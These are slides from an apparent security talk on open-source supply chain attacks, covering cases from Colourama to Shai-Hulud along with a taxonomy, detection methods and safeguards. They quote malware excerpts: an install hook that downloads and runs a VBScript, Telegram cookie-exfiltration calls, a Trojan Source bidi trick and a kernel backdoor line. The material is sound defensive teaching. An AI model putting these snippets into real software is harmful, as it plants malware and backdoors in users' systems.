

Attacks on Open Source Supply Chains — Case Studies, Vectors, and Defenses

Henrik Plate (Endor Labs)

Nov 2025

Before we start



Cowsay, courtesy of Tony Monroe

Introduction

Open-Source-Based Software Development



1st-Party Code

3rd-Party Components

Open-Source-Based Software Development

- 80-90% of software products include OSS, 10-76% of the overall code base [1]
- Average composition of Java projects developed at SAP (average: 95 deps) [2]



[1] Synopsis: https://www.synopsys.com/content/dam/synopsys/sig-assets/reports/2018-ossra.pdf (2018)
[2] Andreas Dann et al.: Identifying Challenges for OSS Vulnerability Scanners - A Study & Test Suite (2022)

Open-Source-Based Software Development

- Created by numerous – partly anonymous – contributors from all around the globe



- *Supply-side* value of OSS is estimated between $1.22 to $6.22 billion, the *demand-side* value between $2.59 trillion to $13.18 trillion [2]

[1] M. Zimmermann, et al.: Small World with High Risks: A Study of Security Threats in the npm Ecosystem (2019)
[2] Manuel Hoffmann et al.: The Value of Open Source Software, Harvard Business School (2024)

Open Source Supply Chain Attacks

Open Source Supply Chain Attacks

“Standard” supply chain attack – Compromise a software vendor’s infrastructure and infect legitimate software such that malware is delivered through trusted distribution channels (NotPetya, etc.)

Around 2017, attackers started compromising the infrastructure and practices of open-source-based software development, such that downstream users depend on components with *malicious code*.



All dependency scopes matter!

Open Source Supply Chain Attacks

- Researchers and attackers continuously find new attack vectors and vulnerabilities
- Attacks range from “simple” ones – mass-produced and automated [1] – to targeted and resource-intense attacks à la XZ Utils





[1] Checkmarx: A Beautiful Factory for Malicious Packages (2022)
[2] Sonatype: 9th Annual State of the Software Supply Chain (2023)

Motivating Examples

Attacks, Vulnerabilities and PoCs

Oct 2018

PyPI package Colourama

- Downloads and runs VBScript cryptocurrency clipboard hijacker
- Persists through Windows registry entry, to execute upon user logon

```
class TotallyInnocentClass(install):
    def run(self):
        exec(<large base64 encoded string redacted for brevity>.decode('base64'))
        os = platform.system()
        req = urllib2.Request('https://grabify.link/E09EIF', headers={'User-Agent' : os})
        texto = urllib2.urlopen( req ).read()
```

```
os1 = platform.system()
if os1 == "Windows":
    try:
        cuerda = ''.join(random.choice(string.ascii_uppercase + string.ascii_lowercase + string.digits) for _ in range(5)) + ".vbs"
        os.rename('test.jpg', "new.vbs")
        os.system("wscript new.vbs")
        #subprocess.call("wscript new.vbs")
    except:
        try:
            req = urllib2.Request(base64.b64decode("aHR0cHM6Ly9oYXN0ZWJpbi5jb20vcmF3L2lkYW1leG9naWI=="), headers={'User-Agent' :
"taco_life"})
            texto = urllib2.urlopen( req ).read()
            x = ''.join(random.choice(string.ascii_uppercase + string.ascii_lowercase + string.digits) for _ in range(16)) + ".vbs"
            f = open(x, "a")
            f.write(str(texto))
            f.close()
            os.system("wscript %s " %  x)
```

[1] Bertus: Cryptocurrency Clipboard Hijacker Discovered in PyPI Repository (2018)

Nov 2018

Successful attack on NPM package event-stream

- 1.5+ million downloads/week, 1600 dependent packages
- When contacted by mail, the original developer handed-over the ownership to “right9control”
- Added dependency on the malicious package flatmap-stream
- Malicious code (and encrypted payload) only present in published NPM package
- Malware and decryption only ran in the context of a release build of the bitcoin wallet copay
- *Credentials.getKeys* was monkey-patched and exfiltrated wallet credentials
- Malware was discovered only by incident: Use of deprecated command resulting in a warning

- https://www.theregister.co.uk/2018/11/26/npm_repo_bitcoin_stealer/
- https://medium.com/intrinsic/compromised-npm-package-event-stream-d47d08605502

Feb 2021

Dependency Confusion

- Attacker learns about proprietary package names
- Malicious versions get published with same name (and higher version no.) in public registries
- Buggy dependency resolution mechanisms wrongly download the public package



[1] https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610

Nov 2021

PoC: Exploit Unicode encoding

- Different handling of Unicode control characters during display and compilation/interpretation Exploit techniques: Stretched-string, commenting-out, early-return
- Working examples for C, C++, C#, JavaScript, Java, Rust, Go, and Python
- Comparable: Use of (Unicode) homoglyphs

What is dsplayed (new: GitHub warning):

```
1  #!/usr/bin/env node
2
3  var accessLevel = "user";
4  if (accessLevel != "user") { // Check if admin
5      console.log("You are an admin.");
6  }
```

What is executed:

```
#!/usr/bin/env node

var accessLevel = "user";
if (accessLevel != "userRLO LRI// Check if adminPDI LRI") {
    console.log("You are an admin.");
}
```

[1] N. Boucher, R. Anderson: Trojan Source: Invisible Vulnerabilities (2021)

Nov 2024 – Mar 2025

Successful attack on tj-actions/changed-files

- Malicious code added to `index.js`, dumping secrets from the workflow runner's memory to the log
- Commit impersonated `renovate[bot]`, added to fork that got autom. merged
- Tags got changed to reference the malicious commit (one used by `coinbase/agentkit`, then all)

Impact: Workflow secrets of direct/indirect consumers of `changed-files@<tag>` get logged

How? Attacker got write access to `tj-actions` through a series of poisoned PRs in upstream repos of two other orgs, each leaking PATs during workflow runs [1]



Takeaways

- Sign commits & protect branches
- Pin your actions to commits (instead of using mutable tags)
- Avoid PATs, at least restrict permissions & lifetime
- Avoid the `pull_request_target` trigger (workflows running from forks can access repo secrets, …)
- Tags can point to commits in GitHub's fork network

[1] Palo Alto Networks: GitHub Actions Supply Chain Attack
[2] StepSecurity: Harden-Runner detection: tj-actions/changed-files action is compromised

Nov 2024 – Mar 2025

Successful attack on tj-actions/changed-files

Thanks to the quick discovery, only few out of 23,000 downstream repos got compromised [1, 2]







[1] Endor Labs: Blast Radius of the tj-actions/changed-files Supply Chain Attack (19 Mar 2025)
[2] GitGuardian: Compromised tj-actions/changed-files GitHub Action: A look at publicly leaked secrets (18 Mar 2025)

Aug 2025

Compromise of the NX Build System (s1ngularity)

- Compromise of existing package
- Post-install hook triggers payload
- Environment variables exfiltrated to newly created public repository `s1ngularity-repository[-<n>]`
- **New:** Malware searched for local AI code assistants to search for additional secrets on the compromised system
- **Later on:** Exfiltrated secrets were used to make private repositories public



[1] Endor Labs: Nx build platform compromised by supply chain attack – How attackers collude with AI code assistants (27 Aug 2025)

Sep 2025

Shai-Hulud

- Compromise of ~200 packages, including popular ones from `@crowdstrike` or `@ctrl`
- 3.7 MB Webpack-minified script, triggered through installation hook
- Replicates in other packages of the same author, implements an npm worm described as early as 2016 [2]
- Exfiltrates local credentials (from environment and Trufflehog) and GitHub credentials (by creating + running a new GitHub Actions workflow `.github/workflows/shai-hulud-workflow.yml`)



[1] Endor Labs: npm Malware Outbreak: Tinycolor and CrowdStrike Packages Compromised (16 Sep 2025)
[2] Chris Contolini: Building an npm worm (2016)

2024 - 2025

Indonesian Foods Worm

- >80K npm packages by >50 npm accounts since early 2024 (> 1% of the ecosystem)
- Inert until the executing of selected JS files, which publish copies of the package in 7-10 second cycles
- Two naming schemes, one using Indonesian names and food terms, e.g., `budi-sate73-kyuki`
- Many packages contain `tea.yaml` files, and reference each other through circular dependencies, to inflate their “impact scores” and claim TEA token rewards
- Abuse already discovered in 2024, but most packages remained

[1] Endor Labs: The Great Indonesian TEA Theft: Analyzing a NPM Spam Campaign (11 Nov 2025)
[2] Sonatype: Devs Flood npm with 15,000 Packages to Reward Themselves with Tea 'tokens' (2024)

Systematization

Open-Source-Based Software Development



Example Attack Vectors



Backstabber's Knife Collection [1]

- Dataset with packages in real-world attacks [2]
  - 147 packages across 4 ecosystems (Nov 2015 - Nov 2019)
  - Today: >6000+ across 6 ecosystems
- Analysis of temporal aspects, trigger, conditional execution, injection technique, primary objective, targeted OS, obfuscation used and clusters



Fig. 5. Temporal distance between date of publication and disclosure.



Fig. 6. Trigger of malicious behavior separated per package repository and overall.



Fig. 2. Attack tree to inject malicious code into dependency trees.

[1] Marc Ohm, et al.: Backstabber's knife collection: A review of open source software supply chain attacks (2020)
[2] https://dasfreak.github.io/Backstabbers-Knife-Collection/

Attack Surface

Comprises the development and distribution infrastructure of all upstream open source components:

- Maintainers and contributors
- Developer machines
- SCM and Build Systems
- Etc.

Taxonomy with 100+ attack vectors, based on 300+ resources, and linked to safeguards [1]

Use-cases comprise awareness, threat modeling, pentest scoping, etc.

Interactive visualization developed and open-sourced at SAP Security Research [2], forked at Endor Labs [3]



[1] Piergiorgio Ladisa, Henrik Plate, Matias Martinez, Olivier Barais: Taxonomy of Attacks on Open-Source Software Supply Chains (2023)
[2] https://sap.github.io/risk-explorer-for-software-supply-chains
[3] https://riskexplorer.endorlabs.com/



ENDOR LABS

Searchbars Legend

Attack Vectors

Run Malicious Build

Safeguards

Select...

[AV-401] RUN MALICIOUS BUILD

If build systems share resources between build jobs of different projects, e.g. plugins, configurations or caches, attackers can run a malicious build job to compromise such shared resources. Other projects will be affected once they consume the compromised shared resources.

REFERENCES

1. Thirty Years Later: Lessons from the Multics Security Evaluation (ACSAC) `Peer-Reviewed`
2. Countering Trusting Trust through Diverse Double-Compiling (ACSAC) `Peer-Reviewed`
3. Security of public continuous integration services (WikiSym) `Peer-Reviewed`
4. Defending software build pipelines from malicious attack
5. The Octopus Scanner Malware: Attacking the open source supply chain `Attack`
6. Reproducible Builds: Increasing the Integrity of Software Supply Chains
7. Investigating The Reproducibility of NPM Packages (ICSME) `Peer-Reviewed`
8. Vulnerabilities in Continuous Delivery Pipelines? A Case Study `Peer-Reviewed`

SAFEGUARDS INHERITED FROM [AV-400] INJECT DURING THE BUILD OF LEGITIMATE PACKAGE

- [SG-008] Build Dependencies from Source
- [SG-032] Isolation of Builds
- [SG-033] Ephemeral Build Environment
- [SG-034] Minimal Set of Trusted Build Dependencies in Release Jobs
- [SG-035] Configure build jobs through code
- [SG-037] Reproducible builds
- [SG-043] Integrity check of dependencies through cryptographic hashes

SAFEGUARDS INHERITED FROM [AV-001] SUBVERT LEGITIMATE PACKAGE

Detection & Evasion

Common detection techniques

(non-exhaustive)

Metadata-based

- Account (age, past contributions, etc.)
- Package (name, age, pub times/frequency, etc.)

Build credible history, inflate download numbers

Static

- Obfuscated, encrypted, long or high-entropy strings
- Detection of “typical” patterns or data flows [1] (dropper, env exfiltration, install hooks, etc.)
- Presence of executables/compiled code
- Capability changes across versions
- Comparison with source repo [3]

Split payloads, perform dynamic calls, …

Dynamic

- Monitor sandboxed execution (e.g. OpenSSF project package-analysis)

Delay or condition execution

[1] Zhang J., et al.: Malicious Package Detection in NPM and PyPI using a Single Model of Malicious Behavior Sequence (2023)
[2] Ohm, M. et al.: SoK: Practical Detection of Software Supply Chain Attacks
[3] Duc-Ly Vu, et al.: LastPyMile: identifying the discrepancy between sources and packages

ttlo & gisi

- Published April 16, 2023
- Removed July 7 following our email to PyPI
- Downloaded 1291 times and 667 times

gisi (still on PyPI Inspector)

- SQL select to search for Instagram session identifiers in the SQLite database that contains Chrome cookies on Windows
- Upon success, update expiry date and return value

ttlo (still on PyPI Inspector)

- Call gisi() and upload session identifier to https://api.telegram.org/

Malicious behavior requires presence of both packages, but it is unclear how that is achieved.

Evasion Techniques

1) Encoded strings + call of decode function in **separate functions and files**

`r.post(base64.b64decode('aHR…Z2U=', …`
becomes `r.post(b(a), …`

Static detection of request to obfuscated URL requires **inter-procedural data flow** analysis

2) Gathering and exfiltration of sensitive info in **separate packages**

```
from gisi.gisi import *
r.post(..., b(d): gisi()})
```

Static detection requires **whole-program analysis**

Selected Safeguards ($ - $$$)



Outlook

Name confusion attacks

- Mostly easy to spot, low download numbers
- High automation results in low marginal costs (i.e. attackers will continue campaigns anyhow)

Get used to it, just like you got used to spam!

Compromise of legitimate package

- Social-engineering to inject **into sources**, e.g. Dependabot impersonation (July 2024)
- Esp. introduction of deliberate vulnerabilities is more difficult to detect (and can plausibly be denied)

We all depend on diligent OSS maintainers!

Deliberate Vulnerability

Technically, vulnerable and malicious code can be identical, intention makes the difference

Attackers could (re)introduce vulnerabilities and plausibly deny intention

Example: Attempt to add the following to `sys_wait4()` in the Linux kernel 2.6 [1]

```
if ((options == (__WCLONE|__WALL)) && (current->uid = 0))
    retval = -EINVAL;
```



[1] Wysopal, C., End, C.: Static Detection of Application Backdoors (2010)

Thank you!

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LinkedIn henrikplate

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